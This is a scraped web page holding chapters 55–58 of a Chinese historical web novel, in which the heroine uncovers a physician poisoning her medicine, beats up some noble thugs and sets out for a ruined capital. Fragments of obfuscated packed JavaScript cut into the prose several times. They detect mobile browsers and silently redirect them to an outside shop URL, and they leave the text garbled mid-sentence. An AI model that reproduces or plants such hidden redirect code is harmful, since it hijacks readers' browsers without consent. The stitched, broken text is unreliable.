d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984070|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>命哪有那么好改的。郁颂橘知道文帝所知也就如此了,跟自己的猜测无甚差别,不过,她至少知道母亲已经死了,不会再做着与母亲重逢的美梦。 “你大费周章假死来到金国,难道大宁如今的内乱,也是你计划好的?” “那都是命,哪里是我能计划的。我来金国一是为了让蓝氏起兵,二是来寻找母亲走过的地方。” “你在大宁过的不好?” “陛下没听说吗,苏柳玉在山脚下被大火烧死了。”哪里是过的不太好,但凡她那日意志稍微动摇半分,那大火真会将她烧个一干二净。 “不如就在金国住下?朕封你为长公主,赐你府邸。” “可我母亲莫名其妙地染了急病死在深宫之中啊。”郁颂橘平静的双眼望着他,那淡淡的哀伤似乎通过目光相接之处传递给他,让他也带上了一丝哀恸。 “你若愿意,朕也能借你几十万大军,你做魏离之时能斩下永安王的头颅,自然也能一路往前,见到你父皇。” “多谢,但我更想在他最开心的时候送他大礼。”郁颂橘对着安帝一拜,“多谢您当年收留我们母女。” “不是什么值得提的大事,日后若有什么需要,尽管来找朕。朕虽年迈,但到底也还没到什么都做不得的时候。” “多谢。” ———— 齐九歌不知道他们在大殿之中谈了些什么,安帝居然没有再召他入殿,只是赐了几大箱金银首饰、布匹丝绸给他,让他好好照顾郁颂橘。 “你和陛下说了什么?”他看着一身白裙,一头青丝用一只白玉素簪子挽起来的少女。 “没说什么。”郁颂橘走在他身侧,那只黄色的鸟儿又不知道从哪飞来,轻盈地落在她的肩头。 眼看她没有说的意思,齐九歌也就不再问,转开话题,“你这伤我请教过宫里的御医,常人可能要三五年才能勉强恢复到能提笔的状态。”不过他当日见她在光慈塔内拔刀倒是挺快,他脖子上的血痂才刚脱落。 “你想我待在留仙城,待到跟你结拜之后?怕我跑了?”她转过头似笑非笑地看着他,“不可能的,我最多在这里待十五天,我要往旧都去,赶时间。” 齐九歌看着她随风扰动的发丝,一时间竟想不到什么来说服她留下。 “我会回来的,雪葬山跟旧都在留仙城的两个方向,去雪葬山之前我会回来一趟,完成约定,之后你我就是永别了。”少女的面庞在天光之下莹白如玉,细细的绒毛在光线下显现,“当然,之后你要是想见我,也能去周朝找我。” “你要回周朝?”齐九歌没想过她大费周章从大宁来到金国,竟然还要往周朝去。 “当然,我可是周朝的公主。”在周朝,公主也有继承权。 因为周朝皇室是当今世上,仅剩不多的还信奉娲皇的宗室,对他们来说,女性新皇,更符合信仰。 55.第 55 章 安帝听了郁颂橘的话,没有再提给她封号的事情,但第二天齐九歌带个乡下妹妹回府的事情就传遍了整个留仙城。 全靠叶轻天一张嘴。 “好妹妹,我求你了,我都跟他们说了我有个妹妹姿容无双、能文能武。”叶轻天带了据说全城最好吃的糕点来见郁颂橘,还特地带了宫中的白毫银针来,怕她吃多了甜的腻了。 “你说了什么跟我有什么关系?”郁颂橘一身浅蓝色长裙正坐在梨花木桌前翻阅齐九歌和安帝当年看过的古籍,想要从中了解的更多些。 “我只有你一个妹妹啊,他们都吵着要见你。”叶轻天殷勤地为她泡好热茶放好点心盘子,“他们要举办赏花会,想请你过去。” “不去。”郁颂橘看了眼盘中颜色各异的糕点,有些怀疑地拿起一块尝了一口,也就那样吧,没有叶轻天吹的那么好吃,“我来留仙城,是养伤的,你的面子与我无关。” “你这次不去,他们也会闹着下次的,去一次嘛!”叶轻天将食盒里的点心全部取出来摆好,蹲在木桌前望着她。 “你不去大肆宣扬,又哪里会出这么多事情。” “诶,你这话可就不对了。”叶轻天眼见她不再动第一盘糕点,就明白她不喜欢,将另一盘换了上去,“表哥他可是出了名的受欢迎,外头排的‘留仙城最值得嫁的男人’榜,他可是第一名!你来路不明地这么顶着‘义妹’的名号住进他府里,外头的世家小姐们肯定也会想办法见你的。” “我不出门不就是了。”郁颂橘连眼皮都没抬,“你自己的面子,自己挣,别带上我。” “世家小姐又不是没有跋扈的,早晚要找机会的……”虽然不像大宁那边的小姐,说要人命就要人命。 “不要烦我。”郁颂橘淡淡地瞥了他一眼,“都这么大个人了,天天将心思放在这种事情上,多读点书吧,免得下次领兵,还为着水源的事情闹得灰头土脸,差点丢了性命。” “那不是、那不是你太厉害了,一般人哪里会想到从水源下手……”兵书上也没说能这么打啊,也没教人没水的仗怎么打……也没让人往水里下毒…… 他派暗线去卞城周边打听过,那时魏离正病得不轻,连上城楼勘察地形都是靠人扶上去的。一般人也做不到这个程度,输给她也不算丢人吧?连孔啼奇都被她打退了,何况他一个刚上战场没几年的愣头青。 不过她好像也是卞城之时才上的战场……天分!一定是天分!怎么可能是自己不够努力?他可是从小开始背兵书,从小就在军营里看将士们训练布阵。 “菜就多练。”郁颂橘接过温度晾的刚刚好的茶水抿了一口,“我不会同你去的,在留仙城这段时间里,我不想出这国师府。你有那空闲,不如多来找我学些兵法,不是每一场仗,你都能下毒成功的。” 郁颂橘问过齐九歌,叶轻天自长公主薨逝后,拜了云游的医师学医,结果那个医师却是个假的,是云游四海的毒师。当时所有人都在劝他就此断绝师徒关系,但叶轻天或许是觉得自己如果早一点拜这毒师为师,说不定长公主就能救回来。 那毒师也是觉得叶轻天和自己有缘,在留仙城待了五年才离开。离去前留下了一本手录,叶轻天这几年就是靠那本手录自己研究的。 不知怎么的,郁颂橘总觉得这个毒师没那么简单,他早晚会回到留仙城来。 “啊……”叶轻天看了一眼她堆在桌面上的书籍,就觉得头晕目眩,“好、好吧……” 齐九歌正找了太医署的御医来,想要让他们来再看看郁颂橘的伤,刚带着人走进来就看见叶轻天没个正形趴在桌面上,快步上前用手上的笏板敲了他的脑袋一下,“不是让你少来打扰颂橘养伤吗?站好!像什么样子!” “表哥!轻点!”叶轻天吃痛弹起来,抱着脑袋看他,小声道,“妹妹也没说什么……” “一边去。”齐九歌将叶轻天推到一边,“各位大人来吧,替颂橘看看伤势如何,该如何用药好的快些。” 那群一进门就低头,眼观鼻鼻观心的御医们得了令才抬起头,看了眼如今留仙城中最神秘的“国师义妹”。 国师……大费周章带了这么漂亮的姑娘回留仙城,只是为了当义妹? 郁颂橘抬眼看了杵在眼前不知从何下手的御医们,“不必了,我的伤无大碍。” “还是看一看吧,我将整个太医署里有空闲的御医都请来了,伤筋动骨可不是什么小事。”齐九歌将桌面上排开的糕点盘子往里挪了挪,示意御医上前。 “看病就要喝药,我在你这府中喝药,你猜猜第几帖药里会有毒?”郁颂橘将手中的书籍放下,将手腕搭在御医摆好的脉枕之上。 莹白的手腕上搭着一道堪堪愈合的红色狰狞伤口,充血肿胀着向外翻开,露出里面泛紫的皮肉,在雪白的皮肤之上分外显眼。 这还是齐九歌第一次看见郁颂橘身上的伤,他之前问过叶轻天,知道伤口深,但没想到这么严重。 她对自己,能下这么狠的手吗?他静静地望着低头看御医探脉的少女,在心里将叶轻天又骂了一遍,都说了尽量不要伤到她。 “国师大人,小姐的身体……”状态不是很好啊!旧伤新伤都伤及根骨,似乎还有不孕之症…… “说。” “慢。”郁颂橘知道御医想说什么,“我身上旧伤新伤多,怕是不容易分辨,幼时还受过重伤,几位先生直接帮我看看腿伤吧。” 齐九歌皱着眉头,眼中明灭不定,那御医也是欲言又止,不知道听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007109|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁的好。 安静了一阵,在叶轻天差点坚持不住开口只是,齐九歌终于出声了。“就依她的,给她看看伤口和腿伤。” “是。”那几个御医仔细检查了郁颂橘的伤口,探了里面的筋脉,摸了腿骨,最后商议了一阵才写出一道药方来,“每日三服。” “多谢几位大人。”齐九歌对着几位御医鞠了一躬,吓得几位御医忙还礼,“不敢不敢。” “就劳烦小殿下送你们回去吧,不论今日探出什么来,几位大人也知道什么该说什么不该说。”齐九歌从袖中掏出几小袋金叶子分给他们,看着他们惶恐表示自己不敢往外乱说,这才让叶轻天把人领走。 他站在门口看一行人走远后,才会到屋里,就这一会的时间,那只在许昌城突然出现的小鸟又不知从哪里飞出来啄食桌面上的糕点。 郁颂橘正拿空杯子给它倒水。 “你身体不太好?”齐九歌记得方才探脉的御医的脸色,当年他母亲回天乏术之时,也是他探的最后一脉,一样的表情。 “趟过两场大火,又重病驰援卞城,还和孔啼奇交战那么久,我是神仙?能没有旧伤?”郁颂橘放好杯子,抬头看他。 齐九歌这是刚从朝堂上下来就去请了御医,身上穿的还是暗红色绣蟒蛇的朝服,手中的笏板还未来得及放下。 他与郁颂橘目光相交,“我母亲濒死之时,那御医也是那样的表情。”不可能只是旧伤。 “啊,那大概是他探出来我不能生育吧。”不是都讲究无后为大么,郁颂橘轻轻地撸着小黄鸟的翎毛,“我在变成魏离之时,请人帮我断了癸水。不然我早就让人认出是女儿身了。”她自小体寒,癸水来时痛不欲生。 “可这……” “生不了孩子是什么大事吗?”她望着齐九歌微微下垂的眼睛,“不生我,我的母亲也不会走这么长的路,受这么多的苦。”她会一直是周朝的宠妃,直到她的儿子坐上皇位,变成太后。 她的眼睛很亮,朱唇一张一合,最后落成一张笑靥,“我又不会嫁人,也不会害到那些嚷嚷着‘无后为大’的男人,我的价值从不在这上面。”世间的女子也不是。 她回想起那御医天塌了般的表情就觉得好笑,如今听齐九歌说那御医的表情和长公主薨逝时一样,就觉得更好笑了,难道不能生育已经是等同死亡的大事了吗? 齐九歌就这样望着她的笑容,直到桌上的小鸟碰落一只瓷碟,精美的瓷碟落到地上,漂亮的花纹碎裂成了无数片,在地面上跳跃。 “都说你是金国最厉害的国师,你会算卦吗?”她望着眼前似乎千言万语在喉间,却一言不发的青年,“替我算一卦吧。” “就算算,到底什么时候,我才能实现我的愿望呢?” 56.第 56 章 齐九歌那天真为郁颂橘开了一卦,天雷无妄,其匪正有眚,不利有攸往,循道而吉贞。那天郁颂橘没说什么,齐九歌倒是自己担心了半天,别扭了半天后,送了本卦书去给她,“无妄非无妄,守正得吉。” 郁颂橘一早就猜到可能是这个卦象,但她从幼时逃出周朝,就已经违背正道,如今也不可能回头做什么拨乱反正的事情,回去找那个所谓的父皇说,“你砍了我吧”? 她向齐九歌道了谢,送走他之后翻了翻他送来的那本卦书,记的是伏羲十六挂演化的六十四卦,不过是普通的卦书罢了。 循道,循的是什么道呢? 郁颂橘就这样在齐九歌府上安安稳稳住了半个多月,每日看书逗鸟,教教叶轻天兵法,日子过的也不算慢,但伤好的奇慢。 她将手中的书堆到一旁,看向齐九歌亲手端来的苦汤药,热气腾腾的药汤泛着墨绿色的光芒。她记得自己当初在玄山下烧伤严重,恢复也没这么缓慢。 按道理来说,应该不会疼了才对,郁颂橘用指腹轻轻碾压手腕上凸起的伤口,剧烈的疼痛顺着手臂爬上心头。 不应该啊。 “怎么了?”齐九歌正在一旁看叶轻天教考兵书,余光正看到她在自虐。 “这药有问题。”郁颂橘抬眼看他,“我的伤不见好,按道理来说就算不用药,也该多少恢复点。” “这药都是我亲自煎的,不会有问题。” “也是你亲自抓的,期间未曾经过他人之手?”她松开手指,手腕上的伤口又胀起来,红肿一圈。 齐九歌快步走到她身边跟着她一同看那肿成一片的伤口,确实不应该啊。 他将热腾腾的药碗端起来,“我去找人看看。” 郁颂橘也没多说什么,看着他急匆匆离开的背影,给小黄鸟抓了一把粟米,转头又看向想要趁着她不注意翻书作弊的叶轻天,“看一眼,明天就多抄十遍。” 叶轻天僵硬地将手缩回来,握着笔不知道该写些什么。 “晚上出门逛逛,听说你们这夜市很热闹。”她起身走到他面前,看着滴满墨迹却只落下零星两个字的纸张,“明天早上再考一次,再是这样,我会让殿下明白,什么叫做‘严师出高徒’。” 郁颂橘的声音很好听,如山间清泉,可说出的话让叶轻天恨不得躺在地上装死。他前几天因为兵书只顾着背诵,不理解其中意思,被她罚着举石头举了两个时辰,腿和手似乎调换了位置,他是被齐九歌叫人抬回去的。 “能不能……后天再考啊?” “是我哪句话没给殿下讲清楚吗?”郁颂橘一错不错地看着叶轻天的眼睛,直到他心虚地主动移开视线。 “清……清楚……就是我背不下来。” “借口。你那本手录倒是记得挺清楚的,我讲的兵法就记不住,学不会,用不上?” “我努力背,你别生气。”叶轻天低着头不敢看她。 “我没有生气。收拾一下去吃晚饭吧,吃完去夜市。” 郁颂橘就这么站着看他收拾笔墨和被弄花的白纸,心里却想起方才看的那本书,那书和她在玄山寺上看到的是一样的,“……是娲皇遣以恤黎民,尘缘绝。天命难为此命难改……”。 “尘缘绝”是怎么个绝法,什么才算尘缘? 他们会死吗?还是等哪天看清楚她不是自己幻想中的样子,断绝来往? 也许,她该走了。 ———— 留仙城的夜市比起大宁京都的夜市更为热闹,大宁少有夜市,只在中秋元宵春节才有,且街上闲逛的多是官家少爷小姐。留仙城的夜市日日有,百姓居多。 叶轻天又拎了一手的糕点跟在郁颂橘身后,郁颂橘身上系着绯色绣梨花海棠争俏的披风,内里是一身浅黄色百褶裙,她手上提着一只巴掌大小的兔子竹灯,正跟着百姓站在一块,看火戏表演。 台上的火花闪过,如流星坠入人间,一排排火瀑布顺着火绳向下倾泻,原始的刻在灵魂中对火的崇拜在这片夜空下被点燃。火球与火环在空中交替呈现,以惊人的速度和火绳混杂在一起,人群中的惊叹声随着火光交织而出现。 几乎所有人都被这份原始而野性的美深深吸引,沉浸在这如同神迹的热烈之中。 “是火戏啊,我小时候见过一次,这群火戏艺人似乎是全国巡演的,徒步夸过山河到达每一座城。”叶轻天看了一眼缭乱的火光,一下便唤醒了尘封的回忆。 不过比火戏表演更吸引人的,是郁颂橘在火光映照下的面庞。在不断闪烁的火戏映照下,她的脸上仿佛被附上一种超尘的神秘,光影如同巧手画师,将跃动的金色和深邃的暗红勾勒在那张洁白的美人面上,每一抹光影都恰到好处地渲染出她的美。 她很专心地盯着眼前变换的火戏,双眸在光影交错中深不见底,闪烁着金色的华光。唇角微微露出的笑意娇嫩而富有生机,火光在唇瓣上跳跃,染出一片春色。 “这就是你说的妹妹?”叶轻天还没回过神来,就被一双手搭上肩膀,吓得差点把手上的东西砸上去。 “皇兄?”那人正是大他十岁的哥哥,叶解斛。 “早听说你跟丞相家尚书家的少爷们都炫耀了一通,你有个漂亮又厉害的妹妹。”叶解斛将手从他的肩膀上移开,“你的妹妹不就是我们的妹妹,怎么也不介绍一下。我可等了十几天,这才见到第一面。”绝色美人啊,难怪国师要藏起来。 “这……不算是你妹妹,她是表哥的妹妹。”叶轻天回头一看,叶解斛带了一堆纨绔子弟正在街上晃荡,怎么偏偏撞上这群人…… “国师是我的表弟,当然她也算是我妹妹了。”叶解斛望着火光映照下的少女有些出神。 “皇兄,她是真碰不得。”叶轻天平日里因为年纪小,又有长公主薨逝前上书,不让立他为太子,所以他跟哥哥们的关系都还不错,也知道叶解斛的脾性,喜欢调戏美人。 郁颂橘正看火戏看得开心,突然感觉到一堆黏糊糊的恶心视线落在自己身上,皱眉回头,看见叶轻天拎着糕点被几个穿着富贵的少爷拦住了。 “小殿下?”她忍痛放下精彩的火戏,往叶轻天那边走去。 “真漂亮。”叶解斛长这么大第一次看到这种又漂亮又有气质的女人,跟仙女似的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024284|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郁颂橘不紧不慢地站定在他眼前,“我好看吗?” 叶轻天被叶解斛拉住一听郁颂橘这句话就知道坏了,那天在军营里她也是这么轻飘飘地割破手腕的。 “美人当然好看。”叶解斛和身后的几位纨绔几乎是同时开口。 “火戏不好看吗?”她又问。 “火戏哪有美人好看。” 郁颂橘低头正看到叶轻天为了挣开被禁锢的手腕松手把糕点落地上,没系紧的糕点就这样散落一地,浅黄色的豌豆糕就这样碎了一地。 “糕点碎了。”她正好今天,就是出来散心的。 在众人没反应过来之时,郁颂橘的手已经搭上了抓着叶轻天手腕的纨绔的手,柔软中带着粗糙的触感让那人有些惊讶,下一秒痛呼出声松开手。 “我今天正好心情不太好,小殿下往外宣传我的时候,漏说了我一人可挡百万军吗?”她的脸上散了笑意,叶轻天还是第一次见她的脸色这么冷,她在卞城被李瀛推出来的时候脸色都没这么难看。 “皇兄,快走吧。”叶轻天抓着手上仅剩的几包糕点,把自己的哥哥往人群外推,叶解斛是头脑简单,单纯欣赏美人,其他人……平日里作威作福,受点教训也好。 “怎……”叶解斛还不太明白美人说的话是什么意思,就被弟弟推出去,回头就看见那系着绯红色披风的美人把方才站在自己身后不知道捣鼓些什么的纨绔的手拽变形了…… 变形了? 他站在人群外看着弟弟辛辛苦苦往里凑拦住正准备对最后一个人下手的美人。 “妹妹妹妹,住手住手,别打了。” 周围原先被火戏吸引的百姓们也有零星几个发现了他们的争斗,回过头来看热闹。 郁颂橘听见叶轻天的喊声了,但没停手,“怎么,你也想挨两下?”她心里一股火在看到叶轻天那张乱七八糟的答卷之时就起来了。 “不不不。”叶轻天上前的脚步犹豫了几分。 “我改主意了,明早你再写不出卷子,不举石头了,挨一顿打更能记住。”郁颂橘将最后一个纨绔按在地上,起身又补了一脚,“被我打一顿,你们不是应该感恩戴德地享受吗,你们这辈子说不定也就这一次机会让‘美人’动两下手。” 地上的几人抱着手臂哀嚎引得台上的火戏艺人都有些站不稳。 不远处一样出来逛夜市的少爷小姐们好奇地望着这边的动静窃窃私语,“这就是国师藏在府里的义妹?好漂亮,可我不想把国师让出去啊……” “你又打不赢她。” “国师大人喜欢的是这种类型的?日后吵架会不会对国师大人动手啊……” “国师大人……应该也打不赢吧。” “你们看小殿下都不敢下手拦,小殿下肯定也打不赢,国师根本就没习武,肯定打不赢。” “好可怕。” “你们不觉得这样的姐姐好飒吗?” “而且她打的那几个就是平日里瞒着四殿下,借着四殿下的势欺人的那几个。” “为民除害?” “你们看那边的四殿下,脸都吓绿了。” 57.第 57 章 “弟弟,你这妹妹,这么凶啊。”叶解斛与叶轻天保持一丈远,让停在人群外待命的仆从把地上倒着的一堆人送回去。 “四殿下?”郁颂橘看着叶轻天拎着糕点有些颤抖的手指,糕点很重? “对……我四皇兄……他跟刚刚那几个混蛋不一样的,他也想揍他们很久了,一直没找到机会。”别打四皇兄啊,万一父皇生气了。 “这样啊,我看四殿下也没拦住他们抓小殿下,我还以为四殿下也一样呢。” “四皇兄站在前面,看不见他们的小动作……”应该吧。 “对、对。”叶解斛顺着叶轻天的话拼命点头。 “那是我误会了。”郁颂橘轻轻地笑了一声,也不知信了没有,弄得对面两个人直冒冷汗。 “刚、刚才糕点掉地上了,我们再绕回去买吧……”郁颂橘背对着火戏台,逆着光,叶轻天看不清她的表情,“能不能后天再教考啊?”明天早上教考,真改成挨打的话,他挨定了啊…… “你觉得呢?” “我、我们买完糕点就回去吧,我还有些不懂的地方……”叶轻天的声音越来越小,他回头朝叶解斛道别,跟在郁颂橘身后,慢慢远离了人群。 叶解斛看着弟弟远去的背影,想起了自己当年在太傅手下背书的日子。 郁颂橘本想出去好好散散心中的郁气,现今火戏都没心情继续看了,买完糕点就往国师府走。 “我去温习了,不懂再来问。”叶轻天将糕点堆放在她的书桌上,逃也似地卷着纸笔走了。 出门的时候还差点撞上押了人过来的齐九歌,齐九歌领着几个侍从押了一个人来,正是当日给郁颂橘看伤的御医之一。 “好好温习。”齐九歌看了他一眼就知道他又想凑热闹。 叶轻天看了一眼表哥,又看了一眼灯火明亮的屋子,咬咬牙走了,明天教考完了再去问表哥也行。 郁颂橘给满屋乱飞的鸟儿把夜宵添满,看着齐九歌带过来的几个人,“怎么带了这么多人来?都有份?泄露给谁了?是哪家的贵族小姐对国师大人的一片芳心?” “还没问,等你亲自审。” “我审?你不怕我今天心情不好把他们都弄死?我对一般人仁慈,对先动手的人可不仁慈。”郁颂橘将鸟食和水放好,看向站在最前面的御医,“这位大人,把我的伤势告诉哪家小姐了?” “姑娘,没凭没据的话可不能胡说,国师大人是宠爱你,可这留仙城可不止国师大人,我也是世家子弟,不能平白被污了清白。”那御医梗着脖子一副受了天大污蔑的样子。 “啊……世家,我又不是你们留仙城的人,你们留仙城的世家跟我有什么关系?”郁颂橘这院子主厅里的灯光格外明亮,连那御医头上渗出的汗滴都能看得一清二楚,“你是不是在想,那小姐不是说,‘这药用上,那贱人不久后就会伤口溃烂而亡’,怎么我还能像没事人一样站在你面前?” “因为我根本就没有喝啊……这十五天的药,我一口都没喝。”郁颂橘是喝了药,但身上没有什么症状表现,只有伤口迟迟不好转,估计跟苏延当初用的药没什么区别。 诈一诈他罢了。 “你是宫里的御医,每日能见到许多达官贵人吧?我初来乍到,没什么背景,整日待在国师府,看起来跟国师豢养的鸟雀一般,死了能给你换个大机缘也算值得。是这样想的吧?大人?” 郁颂橘的每一句话都正中御医的想法,连那柳家小姐的话都一字不差,吓得他冷汗直流,但这女子不过是国师从外带来的,难道国师还能真为了这件事去找他家和柳家的麻烦?柳家可是出了三朝首辅。 “还是不愿意说吗?”郁颂橘从袖中掏出一把让齐九歌觉得十分眼熟的匕首,“等我真的开始动手,就来不及了。” 这不就是那天在许昌城架在他脖子上的那把吗?齐九歌突然感觉自己的脖子凉嗖嗖的。 “国师大人,我家世代行医,代代入宫,当年还救过您啊!”当年长公主和国师一同中毒,负责救治国师的就是他的父亲,虽然不知道齐九歌是怎么活下来的,但功劳是记在了他父亲身上,国师总该念点恩情在。 “是你家救的?我怎么记得你父亲并未给我用药?”齐九歌记得那天所有御医都束手无策,这御医的父亲在场,但主治的不是他。 “没有功劳也有苦劳啊国师大人!” “就算你救了他,那又怎么样?你现在害的是我,与他有什么关系?难道他求情,我就会放过你?你将那小姐的名讳供出来,我倒还有可能放你一马。”郁颂橘看着他仓皇跪地的样子,觉得有些滑稽,伸出手,用匕首挑起他的脑袋来,“是哪家小姐?” 那御医冷汗直冒,确定了齐九歌不会管他,可他也不敢往外说柳家小姐啊! 郁颂橘见他半天不肯开口,锋利的匕首擦过他的耳后,殷红的血顺着颌骨往下淌,“你不说我也能猜。国师大人,这留仙城中,最想嫁与你的,是哪家小姐?” “这……”追着齐九歌的小姐有很多,但最偏激的只有那一个,可她是首辅的女儿。 “你也不愿意说?”郁颂橘察觉到他的迟疑,“那我替你说,是首辅的女儿,柳家小姐吧?”叶轻天同她说过,这柳家小姐从小就跟在齐九歌后面追,立誓此生只嫁齐九歌一人,容不得齐九歌身边有其他小姐接近。 郁颂橘一看御医颤抖得更厉害了,就明白自己猜对了。 “是首辅小姐重要,还是你的命重要呢,齐九歌?”她回头看向迟迟不开口的齐九歌,“我七日之内会启程,在离开留仙城之前,你的处理结果决定了我立春之前会不会回来。你若做不出结果,我会在临走前让你看到我的处理结果。” 不就是临走前杀两个人,对她来说也不算难事,左右她不会在金国久待,金国的百姓也都过的不错,杀皇帝也不影响她离开。不像在大宁,她都不明白那时的自己为什么要大费周章去弯弯绕绕,去拯救那些没米没粮的百姓。 明明把苏家满门灭了就是了。 绕的这样麻烦。 她看着齐九歌的眼神比当初在光慈塔下的还要冰冷,看得齐九歌一阵心慌,“我会给你一个交代的。” “那就都出去吧,我要休息了。”郁颂橘掏出一条帕子细细地擦拭匕首上的血迹,吃饱喝足的小鸟落在她的肩膀上,歪头看着能映出影子的匕首,似乎不明白为什么会有另一个自己出现。 明明齐九歌读过的那本书上的注解也写得很清楚,“人间龙初生龙形,啖之可增寿数”,他为什么不试试呢,说不定不是龙形的血肉,也可以增寿,这样顺着自己…… 郁颂橘看着他们的身影彻底消失在回廊拐角。 ———— 第二日一早,叶轻天就眼下乌黑地抱着纸笔到了郁颂橘院子里,所幸经过一夜苦读,他勉勉强强地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044003|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过了郁颂橘的考核,得以休息半日。 “就是昨天那个御医投毒害你?”叶轻天让人从宫里送了晚柿来,红彤彤的摆了一整盘,好看得紧。 “算是吧。”郁颂橘在叶轻天写答案时,伸手拿了一只小柿子给小鸟啄着玩,弄得现在整只鸟都黏糊糊的。 黏糊糊地糊了一桌子。 “我猜是柳首辅家的小姐让他干的。”叶轻天一下就猜明白了,那御医兼管药房,要给郁颂橘药材里放些什么轻松得很。 至于他与郁颂橘无冤无仇为何要下手,看看外头一溜的追着齐九歌的小姐就清楚了。说起来齐九歌也是跟当初的魏离一个类型的,温润如玉,博学多才。如果她还是魏离的时候来这,应该就不会发生这样的事情了。 “你都能猜出来。”齐九歌还以为她猜不出来。 “那是,跟表哥有关的,我都知道得清清楚楚。”叶轻天颇为骄傲地说着,又拿起了一个柿子,“都说了让你住我那,我的追求者虽然也多,但没表哥的那么多。” “那你猜猜,你表哥这次会怎么处理他们?” “这就看父皇对你的态度了,表哥处理不了他们,他只是个国师,管的是测算择日。所以他会去找父皇告状,父皇就会根据你在他眼里的重要性来为表哥撑腰。”浅红色的汁水溅了他一脸,“不过我听说父皇挺喜欢你的,应该不会轻易放过他们。” “你不是说柳家三朝首辅吗?” “首辅是首辅,但他们后继无人,如今府里就这么一个女儿,宠得作天作地的。父皇早就开始物色新的接替者了,而且他不会选柳家的学生。”三朝首辅,柳家也风光太多年了。 “那几个纨绔呢?” “可能会跟着柳家小姐一起罚吧,他们今早应该是去跟父皇告状,你把他们儿子打了。但父皇看四皇兄身边这些狐朋狗友不顺眼很久了,估计也是站你这边。” ———— 隔天一早就听说柳家小姐被安帝下旨送到尼姑庵里修身养性,一年后才能出来。御医被夺了官,还被勒令自此以后不能行医。至于那几个纨绔,被安帝塞进了叶轻天的队伍里一起磨炼。 郁颂橘当天就带着叶轻天心心念念的桂花糕和齐九歌一同去了军营,那几个纨绔在抱怨的时候正巧她就站在他们背后,几人被叶轻天光明正大地找人削了一顿。 郁颂橘是在一个雪天离开的,天空被轻薄幔纱掩盖,灰蒙蒙的透出几分冷意。雪枝低垂,万物素裹。 “我陪你一起去吧。”叶轻天替她将行李挂在马背上,还往里面塞了一包糖酥。这段时间跟着郁颂橘,他确实觉得自己长进了不少。 齐九歌站在二人身后不知道在想些什么。 “不必。”郁颂橘看着面前白茫茫一片,天连山色山连雪色,想起了在卞城过年的那段日子,也不知道蓝即荧他们如今怎么样了。 应该还算不错吧,有孔啼奇和养了十几年的私兵,不应该会输给无将可用的李焕。 “那我派些人跟着你?”叶轻天望着已经翻身上马的少女,她一身黑色劲装,幂篱遮面,看不清表情,又恢复了原先做魏离时的姿态。 “不必,走了。”郁颂橘没有再与他多说,策马离开,在满眼白雪中,黑色人影与枣红色的马儿在一片白色里分外显眼。 马蹄落在雪上,留下一整串的痕迹,但很快又被不知道何时扬起的细雪遮盖得干干净净。 58.第 58 章 因为叶轻天给了文书,郁颂橘一路上住店吃食都有人帮忙解决,畅通无阻,以最短的时间到达了旧都。 到了旧都,文书就没有用了。因为旧都早就成了一片废墟,旧都所在之地常有山崩,频繁且声势浩大,一次次的重建和救灾太过于耗费人力物力,金国索性将遗民都迁往其他地方安置,给了安家费,那些百姓也都愿意离开这片时不时裂开吞人的土地。 今时的旧都,空余一片废墟,连动物的影子都看不着,只有漫山遍野的野草蔓,不合时宜地青翠得像沐浴在春日里。 郁颂橘早就预料这一片废墟上山石砂砾多,马匹无法前行,将马系在了隔壁城池的客栈里,自己背着干粮徒步到的这儿。 地震之后,昔日繁华岁月之手抹去,落下满目疮痍。郁颂橘猜测这里所存放的那一部分骸骨应该在传说中国主坠楼的高塔之上。但在这经历多年、多次地动的废墟里,光是找到那座塔就很艰难,从废墟里找出那份骸骨就更难了。 她叹了口气,抬头望天,天际湛蓝,和地面上这大片碎石废墟比起来,格外通透美丽。阳光自天际而来,大片大片地挥洒自断壁残垣之上,凭空增添了不少生气与暖意,只是这片碎石里连鸟雀都不曾见到,还是凄凉得很。 “啾啾。”嫩黄色的鸟儿从她怀里探出头来,拽着那张手绘地图的一角。 郁颂橘将它和地图都掏出来,给它放在肩头,展开了那幅不久前重新摹绘过的地图。这地图是叶轻天帮忙找的,据说是安帝珍藏的东离古国时期“旧都地形图”。 从纸张的磨损程度来看,确实可能是东离古国流传下来的,跟那几本典籍一样脆弱,被小鸟一揪就碎了半个角。 